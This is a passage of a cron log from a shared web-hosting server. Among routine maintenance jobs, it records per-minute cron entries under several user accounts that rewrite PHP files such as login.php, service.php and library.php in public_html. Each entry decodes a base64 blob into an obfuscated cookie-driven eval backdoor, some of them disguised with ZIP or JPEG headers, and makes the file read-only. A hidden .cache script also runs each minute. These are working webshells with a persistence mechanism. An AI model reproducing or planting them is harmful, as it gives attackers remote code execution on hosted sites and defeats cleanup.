A9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:11:02 medusa CROND[10373]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 14:11:02 medusa CROND[10376]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:11:02 medusa CROND[10377]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 14:11:02 medusa CROND[10375]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 14:11:02 medusa CROND[10378]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 14:11:02 medusa CROND[10379]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 14:11:02 medusa CROND[10381]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 14:11:02 medusa CROND[10387]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 14:12:01 medusa CROND[12210]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 14:12:01 medusa CROND[12224]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 14:12:01 medusa CROND[12225]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 14:12:01 medusa CROND[12226]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 14:12:01 medusa CROND[12228]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 14:12:01 medusa CROND[12230]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 14:12:01 medusa CROND[12231]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 14:12:01 medusa CROND[12232]: (energiae) CMD (/opt/cpanel/ea-php74/root/usr/bin/php /home5/energiae/analytics.energiaenmovimiento.com.ar/console core:archive --url=https://analytics.energiaenmovimiento.com.ar/ > /dev/null)
Jun  7 14:12:01 medusa CROND[12233]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:12:01 medusa CROND[12234]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:12:01 medusa CROND[12237]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 14:12:01 medusa CROND[12239]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 14:12:01 medusa CROND[12241]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 14:12:01 medusa CROND[12243]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:12:01 medusa CROND[12244]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:13:02 medusa CROND[13973]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 14:13:02 medusa CROND[13986]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 14:13:02 medusa CROND[13987]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 14:13:02 medusa CROND[13988]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Jun  7 14:13:02 medusa CROND[13989]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:13:02 medusa CROND[13990]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 14:13:02 medusa CROND[13991]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 14:13:02 medusa CROND[13999]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 14:13:02 medusa CROND[14005]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:13:02 medusa CROND[14009]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 14:13:02 medusa CROND[14010]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 14:13:02 medusa CROND[14011]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
